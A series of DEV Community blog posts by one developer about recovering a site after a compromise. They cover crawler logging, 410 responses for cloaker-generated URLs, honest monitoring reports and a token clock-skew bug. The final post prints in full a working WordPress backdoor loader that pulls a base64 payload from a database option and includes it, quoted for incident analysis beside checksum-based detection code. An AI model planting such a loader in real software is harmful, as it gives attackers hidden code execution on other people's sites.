DEV Community: Hammad Shams Uddin

A reader asked a question my log could not answer. The fix was one column.

Hammad Shams Uddin — Thu, 22 Oct 2026 15:34:55 +0000

I have been publishing numbers from a crawler log I added to my own site after a compromise: one line per crawler request — time, crawler, status served, path, IP. Last week I used it to show that a flood of requests for dead URLs was not the 410 failing, because almost none of those URLs were repeats.

A reader, jonas_bra, replied with the sentence that makes a measurement honest:

first seen in our logs isn't the same as newly created

A low repeat rate suggests Bing isn't repeatedly revisiting the same dead pages, but it doesn't tell you whether those URLs are still being discovered through links elsewhere.

He is right, and I had not noticed. My log can tell you a path is new to the log. It cannot tell you whether the URL was minted during the attack in September and is only now being reached, or whether something out there is still handing Bing fresh ones today. Those are different problems — one is a backlog that ends, the other is a live source that does not — and I had been reporting on the first as if I had ruled out the second.

What the existing data can settle

Two of the three questions turned out to be answerable with what I already had.

Is my own site still emitting them? I fetched fourteen pages — homepage, every section hub, the sitemap, robots.txt, a few tools — and matched every href against the cloaker's URL shape. Zero. The generator and the files it lived in are gone, so my site is not a source.

Is the backlog plausibly finite? The malware handed out about 291 invented URLs per page load, to anything that asked for a page, for six days. Bing currently fetches roughly 3,500 of them a day. Six days of being served 291 URLs per request, at anything like that rate, mints URLs on the order of a million. Against that, the 80,394 distinct ones my log has seen in 24 days is a fraction of a backlog, not evidence of a live source.

Neither of those is proof. Together they make "finite backlog" the better-supported story — but "better-supported" is not "measured", and the difference matters.

The column I did not have

What would actually settle it is the referer. A crawler that followed a link usually says where it came from. My log did not record it, because when I wrote the thing I was asking "who is crawling and what are they being served", and that question does not need a referer.

So the log has a sixth column now:

$ref = (string) ($_SERVER['HTTP_REFERER'] ?? '');
if (strlen($ref) > 200) { $ref = substr($ref, 0, 200) . '...'; }

And the summary counts how many hits carried one.

The important part is what that column can and cannot prove, and it is worth being explicit because the asymmetry is the whole value:

A non-empty referer is proof of continuing discovery. If something links to /stimulated/a0d3o2b2o25378994, that link exists and I can go and look at it.
An empty referer proves nothing. Bing frequently sends none. A column of blanks is consistent with a finite backlog and with a live source that Bing reached without passing a referer along.

One direction is evidence; the other is silence. Writing that down in the code comment matters as much as writing the code, because in three weeks I will be reading a column of blanks and the temptation will be to call it an answer.

The habit underneath

This is the third time in two months that the fault in one of my instruments was not a bug but a missing dimension:

A sitemap check counted URLs and could not tell "empty" from "unreachable" — it needed a second outcome, not a better number.
A link check printed how many articles answered as though that were how many exist — it needed a denominator.
This log could tell new-to-me from seen-before, and could not tell new-to-me from newly-created — it needed the referer.

In each case the data looked complete, every number in it was correct, and the conclusion was wrong anyway. You cannot find that by staring at your own output. It took a stranger reading a post to find this one, which is the strongest argument I know for publishing the numbers rather than just acting on them.

Three small things, if you keep logs like this

Write down what each column can falsify, not just what it records. "Non-empty proves X, empty proves nothing" belongs next to the field, in the code.
Keep the raw line, not just the aggregate. Every one of these gaps was recoverable only because the per-request lines were still on disk; a daily counter would have thrown the evidence away. If you are pulling a value out of a URL by hand while debugging, a URL parser saves you from the usual off-by-one in the path split.
Publish the numbers. The reader who finds your missing column is not reading your code — they are reading your conclusion, and they are the only person in the loop who does not already believe it. For what it is worth, my posts are about a thousand words; the useful corrections have all come from people replying to the specific figure, not to the argument.

Current state, so the next correction has something to bite on: 24 days of log, 80,394 distinct dead URLs, 3,000–4,000 new a day and not declining, repeat rate up from about 1% to about 5%, Googlebot has asked for none of them, and the referer column starts filling tomorrow.

My 410 was not failing. Bing was never asking twice.

Hammad Shams Uddin — Tue, 13 Oct 2026 06:59:13 +0000

Two weeks ago I switched a batch of dead URLs from 404 to 410 Gone and watched the daily count of them go up. I wrote a correction saying the 410 had not worked.

That correction was also wrong, and the number that shows why took one command.

The thing I had not counted

My crawler log has one line per crawler request: time, crawler, status served, path, IP. I had been counting requests per day. What I had never counted was how many of those paths the log had seen before:

day         distinct   new     repeated
29 Sep        972      972        0
30 Sep      3,912    3,909        3
 1 Oct      2,484    2,482        2
 5 Oct      4,055    4,019       36
 8 Oct      4,662    4,609       53
10 Oct      5,034    4,932      102
12 Oct      2,318    2,285       33

Over 97% of what Bing asks for every day is a URL it has never asked for before. In fifteen days: 50,844 distinct dead URLs, and almost no repeats.

So the 410 was doing exactly what a 410 does. It tells a crawler this one is gone, do not come back, and Bing does not come back — the repeat column is 0.7% to 2%, and those few are probably retries in flight. What a 410 cannot do is shrink a queue of URLs the crawler has not reached yet. I had been reading a backlog being drained as a fix that was not working.

The backlog exists because, during a compromise in September, a cloaker generated roughly 291 invented URLs per page load and handed them to any crawler that asked for a page, for six days. Nobody knows how many it minted. What I know is that Bing found at least 50,844 of them, and is still working through the list at about 4,000 a day.

The same log, read as a whole

Fifteen days, every crawler, by status served:

crawler	200	410	other
googlebot	513	0	3× 404
bingbot	2,347	51,326	51× 404, 2× 302
bytespider	4,141	0	—
yandexbot	228	38	3× 404
claudebot	209	0	—

Three things in that table I would not have guessed.

Googlebot has never once asked for a spam URL. Not one 410 in fifteen days. Whatever Google discovered during the compromise, it has already dropped. Its crawl of this site is now 100% real pages — and it is small: 513 requests, 291 distinct URLs, against a sitemap of 6,215.

Bing's crawl is 95.5% dead URLs. It is spending twenty-two requests on the attacker's imagination for every one it spends on a real page of mine.

ByteDance's crawler fetches eight times more real pages than Google does. 4,141 against 513. It is not going to send me anything, but it is the single heaviest consumer of real pages on the site.

The fix I did not ship

The obvious next move is to stop Bing asking at all. The spam URLs all end in digits, so ten lines of robots.txt would do it:

Disallow: /*0$
Disallow: /*1$
…

I checked that against my own sitemap before writing it, and it would have blocked 105 real pages — /tools/rot13, /tools/image-to-base64, and their four language copies each. A rule that costs real pages to save a crawler's time is a bad trade.

It is also the wrong goal. A URL that is disallowed in robots.txt is a URL the crawler cannot fetch, so it never sees the 410, so it never learns the URL is gone. Blocking would freeze 50,000 dead URLs in Bing's index instead of removing them. The crawl is not costing me anything — 4,000 requests a day is nothing, and the pages they hit do not exist, so they cost a 410 and a database-free code path.

So: no action. The right answer is the one already deployed, and the rest is patience.

What I would tell past me

Count distinct, not total. "4,000 requests a day, not falling" and "4,000 new URLs a day" lead to opposite conclusions, and one sort -u separates them. If you are eyeballing a list by hand, sorting it first makes repeats visible immediately — the shape of the data is the diagnosis.
Write the rule, then test it against your real URLs before shipping it. My ten robots lines looked harmless. Try the pattern against a sample of paths that must keep working; mine failed on a tool called rot13.
A correction can be wrong too. I corrected a claim with a bigger sample and still had the wrong model of what was happening. The fix was not more data — it was one more column.

Three of twenty pages are indexed. Here is what ten days of my own crawler log says about why.

Hammad Shams Uddin — Thu, 08 Oct 2026 17:45:05 +0000

I run a site with 6,100 URLs in its sitemap. Google downloaded that sitemap three days ago, no warnings, no errors. Today I inspected twenty randomly chosen pages from it, one API call each:

  3  Submitted and indexed
 11  Crawled - currently not indexed
  6  URL is unknown to Google

Fifteen per cent. And the six "unknown" ones are the interesting part: they are listed in a sitemap Google has, and Google has never fetched them at all.

What Search Console shows, and what it hides

The performance numbers for the last 28 days: 85 impressions, 5 clicks. Sixty of those 85 impressions are the homepage. The top queries are not tool queries:

software & it services                  3 impressions   position 5.7
software services                       3               position 2.0
software house near me for freshers     2               position 1.0

That is a calculator site ranking for "software house near me". The pages that would answer a real query — the converters, the calculators — are not in the index to be shown.

Ninety days, by week, tells the rest:

week	impressions	clicks
W31	13,683	24
W32	24,082	39
W33	68,834	35
W34	27,317	23
W35	191	3
W36–W40	31, 32, 18, 21, 12	~1 each

The cliff between W34 and W35 is where a compromise was cleaned up. Note the clicks column during the peak: 68,834 impressions produced 35 clicks, a CTR of 0.05%. Those impressions were never real demand — they were the attacker's invented URLs appearing in results. Losing them cost almost nothing. What has not come back is everything else.

The log the host does not give you

Search Console is two days behind and rounds everything into weekly shapes, so last week I gave the site its own crawler log: one line per crawler request — time, crawler, the status it was served, path, IP — and nothing at all for human visitors. Ten days in:

day	Googlebot	bingbot	of which 410
29 Sep	45	1,077	982
30 Sep	66	4,114	3,914
1 Oct	55	2,660	2,487
2 Oct	22	2,903	2,708
3 Oct	41	3,832	3,616
4 Oct	19	3,967	3,776
5 Oct	22	4,255	4,056
6 Oct	22	4,976	4,795
7 Oct	40	4,527	4,389

Two numbers to take from that table.

Googlebot fetches about 37 pages a day. In ten days it fetched 221 distinct real URLs, all 200s. Against a 6,100-URL sitemap, a single complete pass at that rate takes about five months. That alone explains the six "unknown to Google" pages in my sample of twenty: nothing is wrong with them, Google simply has not got there, and at this rate it will not get there soon.

bingbot fetches about 4,000 dead URLs a day, and that number is going up. Those are the URLs a cloaker invented during the compromise — a word, a slash, a word with digits between its letters — about 291 of them handed to every crawler that asked for a page, for six days.

I was wrong about the fix

Four days into this log I switched those dead URLs from 404 to 410 Gone, which tells a crawler to drop the URL rather than check again later. I then wrote that the daily count was "pointing the right way": 3,914 → 2,487 → 1,653.

It was not. Those were two partial days at either end of a four-day sample. Ten days later the sequence reads 3,914, 2,487, 2,708, 3,616, 3,776, 4,056, 4,795, 4,389 — flat to rising. A 410 does tell Bing to drop that URL, but it does nothing to the rate at which Bing works through a queue of nine thousand others, and I had read a trend into a sample too short to hold one. I have left the original numbers in that post with a correction under them, because deleting them would make my reasoning look better than it was.

What the two instruments say together

Google is crawling — steadily, slowly, only real pages, every one a 200. There is no technical blockage: no 403s, no 404 storm, no cloaking, a clean sitemap fetch three days ago.
Google is not indexing what it crawls: 11 of 20 sampled pages are "crawled, currently not indexed", most last crawled in August.
Bing is crawling thirty times more than Google and spending 94% of it on URLs that have been gone for a month.

"Crawled — currently not indexed" is a judgement, not a fault. There is no header to add and no file to fix; it means Google fetched the page and decided it was not worth a slot. For a page that converts hectares to acres, competing with a hundred thousand identical pages, that judgement is not unreasonable, which is the uncomfortable part.

So the work is not technical any more. It is the slower kind: fewer, better pages, and reasons for anyone to link to them.

If you want the same two numbers for your own site

Measure indexation, do not estimate it. site: queries in a browser are a lossy approximation. The URL Inspection API gives you a verdict per URL, and twenty of them is a sample that will tell you something real in ten minutes.
Know how big your sitemap actually is before you argue about crawl budget. Mine says 6,100 across 54 child sitemaps, which is not a number I would have guessed; a sitemap generator that walks your own site will tell you what you are really asking Google to read.
Look at the result you are competing for. Before writing another near-duplicate page, put the title and description into a SERP preview and ask whether that line would get clicked next to nine others exactly like it. If the honest answer is no, indexing is not your bottleneck.

Bing spent 94% of four days crawling a hacker''s URLs. Google spent none.

Hammad Shams Uddin — Fri, 02 Oct 2026 16:09:00 +0000

Four days ago I gave my site its own crawler log, because the host keeps access logs somewhere a script cannot read them and Search Console answers two days late. Here is the first full read of it.

bingbot            9,629 hits     bytespider   357
googlebot            183 hits     yandexbot     94

And the status codes those two were served:

day	bingbot 200	bingbot 410	googlebot 200	googlebot other
29 Sep (from 15:51)	70	982	45	—
30 Sep	198	3,914	66	—
1 Oct	172	2,487	54	1× 404
2 Oct (to 16:03)	123	1,653	17	—

9,036 of bingbot's 9,629 requests — 94% — were to URLs that do not exist. 9,015 of them were distinct. Every one has the same shape: a dictionary word, a slash, a word with digits pushed between its letters.

They are not Bing's fault. In September this site was compromised, and the malware handed every crawler that asked for a page roughly 291 invented URLs. It did that for six days. The malware has been gone for weeks; the queue it created is still being worked through, at about two thousand requests a day.

Googlebot, over the same four days: 183 requests, 135 distinct real pages, and not one spam URL. Two crawlers, the same site, the same week, completely different pictures. If I had only Search Console I would have had neither.

What changed in those four days

On the 29th those dead URLs were answering 404. A 404 means not here right now, which is an invitation to come back. I switched the cloaker's URL shape to 410 Gone — stop asking — after checking the pattern against every URL in my sitemap (9 of 9 known spam paths matched; 0 of 6,240 real ones did).

The daily 410 count since: 3,914 → 2,487 → 1,653. The last day is two-thirds of a day, so it is not yet a trend I would bet on, but it is the first number I have had at all.

Correction, 8 October. It was not a trend, and I should not have printed those three numbers in that order. With ten days instead of four, the daily 410 count reads 982 (part day), 3,914, 2,487, 2,708, 3,616, 3,776, 4,056, 4,795, 4,389, 3,274 (part day) — flat to rising, not falling. The "decline" was two partial days at either end of a short sample, which is exactly the shape I warn about elsewhere in this post. A 410 tells a crawler to drop a URL; it does not slow down the rate at which it works through a queue of nine thousand others, and ten days was not long enough to see the first effect either. I have left the original numbers above rather than quietly editing them.

The rule itself lives inside the 404 handler, not at the top of the router. That ordering is the whole safety argument: a request only reaches notFound() once it has failed to match anything real, so a live route cannot be caught by the pattern — and one of mine, /s/{code}, has exactly the same shape as the spam.

"Unverified" was hiding two different facts

I had the log check each crawler's IP against the published address ranges — Google's googlebot.json, Bing's bingbot.json — and report verified against unverified. A reader of the first write-up, who runs the same check over nginx logs, pointed out that my split quietly merged two things that are not alike:

a request that failed the list: claims to be Googlebot, is not in Google's ranges — suspicious;
a request with no list to check: Anthropic publishes no ranges at all, so a ClaudeBot hit can never be more than unchecked — not suspicious, just unknowable.

Collapsing those is the same error as calling an unreachable sitemap "empty", which this project has made more than once. So there are three counters now, and the digest prints what it actually knows:

googlebot          183 hits (178 verified, 5 FAILED the list)
yandexbot           94 hits (94 no published list)
claudebot           39 hits (39 no published list)
google-inspection    2 hits (2 FAILED the list)

The same reader made a second point I have taken: these lists move, so a verification you made today will not reproduce against next month's list. The cache now keeps a dated snapshot of every list it fetches, sixty days of them, which costs a few hundred kilobytes and makes an old answer checkable.

Those 5 Googlebot hits that failed the list are all mine, and I had to look at the addresses to know it: two came from my laptop testing with a spoofed agent, and three from the server itself — my own daily cloaking check, which asks for the homepage as Googlebot and compares it against the homepage as a browser. My monitoring impersonates Googlebot for a living, so of course it fails a Googlebot address check. The log recorded all five exactly as it was told, which is the point: a user agent is a claim, and a claim is not an identity.

If you want the same visibility

You do not need a log pipeline. Roughly 120 lines of PHP: match the user agent against a list of crawler tokens, append one line at shutdown — time, crawler, status served, path, IP — and never write a line for a human. Then:

Count distinct paths, not requests. 9,629 hits sounded like a crawl-rate problem; 9,015 distinct dead URLs is a completely different diagnosis. Any list of lines will collapse to its unique entries in a second, and the gap between the two numbers is usually where the story is.
Check what you are telling crawlers to skip. Mine already blocks the training crawlers I want blocked and nothing else — worth confirming rather than assuming, because a Disallow in the wrong user-agent group reads as harmless and is not.
Log the status you served, not the path requested. The interesting line is never "Googlebot asked for X". It is "Googlebot was given a 404 for X".

Three weeks after the site was clean, most of one search engine's attention was still going to the attacker's imagination. Nothing in Search Console would have told me that, and nothing in my code was telling me either — until the site started writing it down.

I gave my site an access log. Within a minute it showed Bing crawling a hacker''s URLs.

Hammad Shams Uddin — Tue, 29 Sep 2026 16:00:54 +0000

My host keeps access logs in a control panel I have to click through, and nowhere a script can read them. So after September's compromise I could not answer the one question that mattered — are the crawlers coming back, and what are they being served? — except by waiting two days for Search Console to round it into a weekly shape.

So I gave the site its own log. About 120 lines of PHP: if the user agent names a known crawler, append one line at shutdown with the time, the crawler, the status code it was actually served, the path and the IP. Humans are never written to it.

The first day's output, in full, from the first minute:

15:51:01  bingbot  200  /calculators/pace-calculator          40.77.167.123
15:51:34  bingbot  404  /stimulated/a0d3o2b2o25378994         40.77.167.123
15:51:36  bingbot  404  /harshly/p0o9s1i9t9i3o7n38906         40.77.167.123
15:51:38  bingbot  404  /disservice/u1n6g2u8e5s4670872        40.77.167.123
15:51:40  bingbot  404  /dictation/g0o6g3g2l3e3e1y3e0264      40.77.167.123
15:51:41  bingbot  404  /coadjust/v1i4m1i5n4a2r1i8a6529       40.77.167.123
15:51:48  bingbot  404  /selfapproving/p1r3e2l1e9c2t1e3d9648  40.77.167.123
…

By the end of the day: 24 of 26 crawler requests were to URLs a cloaker invented three weeks earlier.

Those paths are not random junk. They are the exact shape the malware generated — a dictionary word, a slash, a second word with digits pushed between its letters — and it handed about 291 fresh ones to every crawler that asked for a page, for six days, before the site was cleaned. The malware has been gone for weeks. The queue it created has not.

404 was the wrong answer

Every one of those URLs was returning 404, which is correct in the sense that they are not there. But 404 means not here right now, and crawlers treat it as a reason to come back and check again later. That is why they are still working through a list from three weeks ago.

410 means gone; stop asking. Both Google and Bing drop a 410 faster than a 404, and the difference is exactly the behaviour I want.

The risk in a rule like this is obvious: match too broadly and you 410 something real. So I wrote the shape, then measured it before it went anywhere near the site:

$rule = function (string $path): bool {
    $seg = explode('/', trim($path, '/'));
    if (count($seg) !== 2) return false;
    $s = $seg[1];
    if (strpos($s, '-') !== false) return false;     // our slugs are hyphenated
    if (strlen($s) < 10) return false;
    return preg_match_all('~[0-9]~', $s) >= 4
        && preg_match_all('~[a-z]~i', $s) >= 4;
};

Result: 9 of 9 known spam paths matched, 0 of 6,240 real URLs did.

One more precaution, and it is the part I would get wrong if I were rushing. The rule does not run at the start of routing. It runs at the end, inside the 404 handler — the place a request only reaches once it has failed to match anything real:

function notFound(): void
{
    // …if the path has the cloaker's shape, 410 instead of 404…
    http_response_code(410);
    header('X-Robots-Tag: noindex');
    exit;
}

That ordering is not decoration. My site has a /s/{code} short-link route: two segments, no hyphen, letters and digits — it matches the shape. Put the rule first and every short link a user shares becomes 410 Gone. Put it last, and a live route can never be caught by it, because a live route never reaches the 404 handler at all.

Verified on the live site afterwards:

/accidence/d0e3p2o6s2i8t6a6r8y548   410      (cloaker shape)
/no-such-page                        404      (ordinary typo)
/s/a1b2c3d4e5                        302      (short link, still works)
/tools/json-formatter                200

The log lied to me once on day one

One line said googlebot 200 /. I was pleased for about ten seconds, until I looked at the IP: 39.34.131.166 — my own network. It was me, testing with a spoofed user agent earlier that afternoon. The log had recorded exactly what it was told, which is all a user agent ever is: a claim anybody can type.

So the log now checks the claim against the crawlers' own published address lists — Google's googlebot.json and special-crawlers.json, Bing's bingbot.json, cached for a day — and reports both numbers:

bingbot     25 hits (25 verified, 0 unverified)
googlebot    1 hit  (0 verified, 1 unverified)

And the alarm that says "Googlebot has not come" now counts verified visits only, because an alarm that can be silenced by anyone typing Googlebot into a user agent string is not an alarm.

If you are running this kind of check yourself: your crawler's status codes are what it believes about your site, so log what was served, not what was requested. And if you end up needing to retire a batch of URLs permanently, an .htaccess rule is the cheaper place to do it than in application code — as long as you have measured the pattern against your real URLs first.

Three weeks after the cleanup, most of my crawl budget was still being spent on the attacker's imagination. I only know that because the site finally started writing things down.

My monitoring said 26 pages were broken. Every one of them was fine.

Hammad Shams Uddin — Fri, 25 Sep 2026 19:02:18 +0000

This morning's report from my own daily checker opened like this:

NEEDS YOU — 27 thing(s)
  * / returns HTTP 403 but had 33 impressions
  * /es/tools/text-summarizer returns HTTP 403 but had 11 impressions
  * /tools/text-to-slug returns HTTP 520 but had 11 impressions
  … 23 more …
  * sitemap.xml returned nothing usable

Twenty-six pages and the sitemap. The homepage among them. My first thought was that the host had suspended the account — SSH to the box was timing out at the same moment, which fitted.

Every one of those pages was serving normally.

What the site was actually doing

Before touching anything I measured the same URL through different clients. Forty requests, alternating, same minute:

client	result
curl sending a Chrome user agent	20 of 20 → 403
curl sending Googlebot's user agent	20 of 20 → 200
real headless Chrome	5 of 5 → 200, full content
curl sending `curl/8.0`	mixed, mostly 200

Read that table twice. The requests that claimed to be a browser were refused. The request that claimed to be Googlebot was served. An actual browser was served. So the site was fine for humans, fine for Google — and hostile to exactly one population: things that say "Chrome" without being Chrome.

That is not a fault. That is bot protection at the edge doing its job. Cloudflare-style protection compares what a client claims against how it behaves, and a curl request wearing a Chrome user agent is the oldest impersonation in the book. My checker had been making that exact request every morning for months, and the day the protection tightened, my checker became a bot to be blocked.

The 520s were the same story from a different angle: a proxy failing to get a clean answer from the origin, on requests that were being refused anyway.

The bug is not the block. It is the report.

The block is somebody else's defence working. The failure that cost me an hour is that my own script turned I was refused into the page is broken — twenty-six times, in a list headed NEEDS YOU.

Four changes, and they are all the same change:

1. Ask whether you can see, before saying what you see.

function seoCanSee(): array
{
    // fetch the homepage, then:
    if ($code === 200 && stripos($body, SEO_MARKER) !== false) {
        return ['ok' => true, 'code' => $code, 'why' => ''];
    }
    return ['ok' => false, 'code' => $code,
            'why' => 'the homepage answered HTTP ' . $code . ' to this script'];
}

If that fails, nothing downstream is allowed to report on individual pages at all. One line goes out — this script cannot reach the site; page, sitemap and robots checks did NOT run; a browser and Googlebot may well be served normally — and the per-page loop never runs.

2. Look at the body, not only at the status. A 403 from my application would carry my page. A 403 from the edge carries the edge's page. Same integer, different fact:

if (($st['code'] === 403 || $st['code'] === 520) && !$st['ours']) { $edgeBlocked++; continue; }

3. Report one fact once. The blockage is upstream of every page, so it is one line — 3 pages could not be checked: our own edge answered 403 to this script — not one alarm per page. Twenty-six alarms for one cause is how a NEEDS YOU list becomes wallpaper.

4. Check what your loudest alarm does when the probe is blocked. Mine compares the homepage as Googlebot sees it against the homepage as a browser sees it, and shouts CLOAKING if they differ — the alarm that means your site is hacked. With browser-UA requests being refused, the "browser" side was a 403 page, whose <title> is 403 Forbidden. Two different titles. That alarm was one edge-rule away from telling me I had been hacked again, three weeks after I actually had been. Now a response that is not my page is not a comparison — it is "did not see it".

After all four: 27 items became 4, and the four are true.

If you are chasing the same ghost

Three things worth doing before you believe your own monitoring:

Load the page in a real browser. Not curl with a browser string — an actual browser. If it renders, your users are fine and your problem is your client.
Look at what your client is really sending. Your checker, your CI job, your uptime probe: each one has a user agent, and it may not be what you think. See exactly what a client sends, then make your script say something honest rather than dressing up as Chrome.
Read the whole response, not the code. The headers a URL actually returns will usually name the thing that answered — server: cloudflare, x-turbo-charged-by: LiteSpeed, a cf-ray id — and that tells you whether you reached your application or something standing in front of it.

The uncomfortable part is that none of this was a site problem for a single minute. Every visitor and every crawler was served the whole time. The only thing that was down was my ability to tell.

My check said "all 17 articles". There were 18.

Hammad Shams Uddin — Tue, 22 Sep 2026 17:52:44 +0000

Every morning a script of mine fetches each of my published articles and checks that the outbound links are still followed. Yesterday's run ended with this line:

dev.to: links on all 18 published articles are still followed.

Today's run, same script, nothing removed:

dev.to: links on all 17 published articles are still followed.

I had published one article since. The honest number was 18 and rising. The word doing the damage is all.

The loop

foreach ($articles as $a) {
    if (empty($a['published']) || empty($a['url'])) { continue; }

    $html = DevTo::fetch((string) $a['url']);
    if ($html === '') { continue; }        // <-- here
    $checked++;

    // …find every link to my site, look at its rel attribute…
}

// later
$did[] = 'links on all ' . $checked . ' published articles are still followed.';

One article did not come back — a throttle, a hiccup, it does not matter. The loop skipped it, $checked stayed where it was, and the summary printed $checked as if it were the total.

So the sentence was not "17 of 18 are fine, 1 is unknown". It was "all 17", which asserts something about a set I never measured. The one article that could have gone bad was precisely the one that was not looked at, and the report was worded to sound most confident about exactly that gap.

Why the denominator is the whole thing

$checked answers "how many replied". The summary claims to answer "how many exist and are fine". Those are the same integer only when nothing fails, which is the one case where you do not need the check.

A count of successes cannot describe a set unless you also carry the size of the set:

$checked   = 0;
$unchecked = [];

foreach ($articles as $a) {
    if (empty($a['published']) || empty($a['url'])) { continue; }

    $html = DevTo::fetch((string) $a['url']);
    if ($html === '') { sleep(2); $html = DevTo::fetch((string) $a['url']); }
    if ($html === '') { $unchecked[] = (string) $a['url']; continue; }
    $checked++;
    // …
}

$total = $checked + count($unchecked);

Now the report can say what actually happened: links still followed on 17 of 18; 1 could not be fetched twice and was NOT checked. And when most of them fail, that is no longer a quiet line at the bottom of an email — it is escalated, because a check that could not run is not a check that passed.

This is the third time

The same shape has bitten this project three times in a month, in three different files:

where	what it printed	what was true
sitemap check	"1 of 54 child sitemaps is empty"	the child was throttled, not empty
robots.txt check	passed, six days running	it was reading an attacker's planted file
link check	"all 17 articles"	there were 18; one was never fetched

Every one of them turned I could not measure this into I measured this and it is fine. That direction of error is the dangerous one: a false alarm gets investigated, a false all-clear gets filed.

So I wrote the test as a source check rather than a behaviour test, because the bug lives in a shape, not in a value:

foreach ($lines as $n => $l) {
    if (!preg_match('~^\s*if \(\$html === .{2}\) \{ *continue; *\}~', $l)) { continue; }
    $silentSkips[] = sprintf('line %d drops a page without recording it: %s', $n + 1, trim($l));
}
$check('no fetch failure is skipped without being counted', $silentSkips, []);

I put the old line back to make sure the test fails on it, then took it out again. It fails on the bug and passes on the fix — which is the only way to know a regression test is a test and not decoration.

Three questions worth asking your own reports

What is the denominator? If a line says "all N", find where N comes from. If N is a counter that increments on success, the word "all" is a lie waiting for a bad day.
Can it tell "nothing failed" from "nothing was checked"? Zero failures out of zero attempts prints the same as a clean run. Report failures against attempts.
Does the count come from the source of truth or from the transport? The number of URLs you have comes from your list — for a site, the sitemap itself, which you can pull into a plain list of every URL and count — not from how many of them your script happened to load. Then check each one's status code against that list, so the two numbers stay separate and the gap between them stays visible.

The fix is four lines. The habit is harder: when a script tells you everything is fine, ask it how many things it actually looked at.

invalid_grant: my service account was fine. My laptop's clock was three days slow.

Hammad Shams Uddin — Sun, 20 Sep 2026 21:50:41 +0000

My daily SEO round emails me one digest. This morning it led with this:

NEEDS YOU — 5 thing(s)
  * Search Console could not be read today.
  ...

SEARCH CONSOLE — COULD NOT READ
  Token request failed (HTTP 400): {"error":"invalid_grant",
  "error_description":"Invalid JWT: Token must be a short-lived token
  (60 minutes) and in a reasonable timeframe. Check your iat and exp
  values in the JWT claim."}

invalid_grant is the error you get when a credential is wrong, so that is where I went first: had the service account been disabled, had someone rotated the key, had I lost access to the property? I had spent six days cleaning a compromised hosting account the week before, so "the key is gone" was not a paranoid thought.

All of that was the wrong question, and the report had already told me so. I just had not read the line above the error.

The header was the evidence

The digest's own title line said:

Utilorax SEO — Thu 17 Sep 2026

That date is generated by the script at run time, from the machine it runs on. I asked something with an authoritative clock what day it was:

$ curl -sI https://www.google.com | grep -i '^date:'
Date: Sun, 20 Sep 2026 21:03:40 GMT

Three days apart. The machine that signed the token thought it was the 17th.

Why that is fatal to a signed token, and to nothing else

Here is the part of my client that builds the assertion:

$now   = time();
$claim = self::b64url((string) json_encode([
    'iss'   => $sa['client_email'],
    'scope' => self::SCOPE,
    'aud'   => $sa['token_uri'],
    'exp'   => $now + 3600,
    'iat'   => $now,
]));

There is no bug in it. iat is now and exp is an hour from now — exactly what Google asks for. But now is whatever the machine says it is, and the machine was saying Thursday. So Google received a token that claimed to have been issued three days ago and to have expired two days and twenty-three hours ago. It refused, and its refusal named the two fields it was unhappy with: iat and exp. The error text was a precise description of the fault. I read it as a category — "auth error" — instead of as a sentence.

The giveaway I walked past: every other check in the same run was fine. IndexNow checked what had changed and correctly sent nothing, dev.to answered, the sitemap's 54 children were counted, the AI model probe came back. Not one of them signs anything, so not one of them cares what time my laptop thinks it is. The only check that broke was the only one holding a stopwatch.

Two minutes that would have saved an hour

If you get invalid_grant from a Google, Apple or AWS token endpoint, before you touch the key:

Compare your clock to theirs. curl -sI https://www.google.com | grep -i ^date costs nothing and answers the question outright.
Read the token you actually sent. The assertion is a JWT, so paste it into a JWT decoder and look at the payload rather than at your code. Your code says what you meant; the token says what you sent.
Turn iat and exp into dates. They are Unix seconds, which are unreadable on sight — 1789938294 looks like every other ten-digit number. A Unix timestamp converter turns them into a date you can compare to today's, and the gap is either zero or your whole answer.

Rule of thumb worth internalising: a signed short-lived token is a claim about time, so a rejected one is as likely to be a clock complaint as a credential complaint. The word invalid_grant is doing double duty for both, which is why the error_description — not the error — is the field to read.

The one thing that went right

The round did not print zero impressions. It said Search Console could not be read today, kept the section, and put the raw HTTP body in it.

That distinction has bitten this project repeatedly in the other direction: a sitemap check that reported unreachable children as empty, a robots.txt check that passed for six days on an attacker's file, a fetch failure that arrived as "no data". Every one of them turned a failure to measure into a measurement. Here the instrument said it was blind, said why, and handed me the sentence that contained the answer.

I still needed three days of wrong clock before I read that sentence properly. But I got to read it, which is the whole difference.

(The clock has since resynced on its own. The same round, re-run: Search Console read, 46 pages snapshotted, nothing owed.)

The backdoor was a database row

Hammad Shams Uddin — Mon, 14 Sep 2026 16:30:53 +0000

I cleaned a compromised hosting account on 5 September and wrote down, with some satisfaction, that it was done. On 11 September I found the rest of it.

The part that bothers me is not that I missed something. It is why I missed it: I had built three scanners, and the thing they were looking for was not in any file.

What a file scanner was asked to find

This is the file that mattered, in full. 420 bytes, sitting where a WordPress core file should be:

<?php

require_once $_SERVER['DOCUMENT_ROOT'] . '/wp-load.php';

$encoded = get_option('_codehidden');

if (!empty($encoded)) {
    $code = base64_decode($encoded, true);
    if ($code !== false) {
        $tmp = tmpfile();
        if ($tmp !== false) {
            fwrite($tmp, $code);
            $meta = stream_get_meta_data($tmp);
            include $meta['uri'];
            fclose($tmp);
        }
    }
}

No obfuscation. No eval. No hex-escaped strings, no goto spaghetti, no variable function names. It reads well. Every one of my signature checks looked straight at it and had nothing to say, because there is nothing in it to flag — the malicious part is a row in wp_options, and the file is just the thing that fetches it.

The row held 9,784 bytes of base64. Decoded: 7,338 bytes, whose first line is eval(base64_decode('...')) and whose inner layer reads HTTP_HOST, HTTP_ACCEPT_LANGUAGE and HTTP_REFERER and picks a remote host from a list of ROT13'd domains. A cloaker — the same kind that had been serving a Japanese shopping page to Googlebot from the main site. Stored in the database, so grep -r across 161,762 files finds exactly nothing.

The only authority that worked

The file was one of ~2,000 in a WordPress install, and it looked plausible. What caught it is that WordPress publishes the md5 of every file it ships:

https://api.wordpress.org/core/checksums/1.0/?version=7.1&locale=en_US

That gives a map of path => md5 for the whole core. Three questions fall out of it, and the third is the one that mattered:

foreach ($sums as $path => $md5) {
    if (!is_file("$root/$path"))          { $missing[]  = $path; }   // deleted
    elseif (md5_file("$root/$path") !== $md5) { $modified[] = $path; }   // changed
}
// and the other direction: anything under wp-admin/ or wp-includes/
// that the checksum list has never heard of
foreach ($onDisk as $path) {
    if (!isset($sums[$path])) { $foreign[] = $path; }
}

Across 18 installs on the account: 15 came back clean, and the three that did not told me exactly where to look. The loader showed up as MODIFIED. Three empty .php files in invented directories — wp-includes/blocks/5HJlg/block/wp-utility.php and friends, all chmod 777 — showed up as FOREIGN. Another site was missing 74 core files, which is why it had been answering 500 to every visitor.

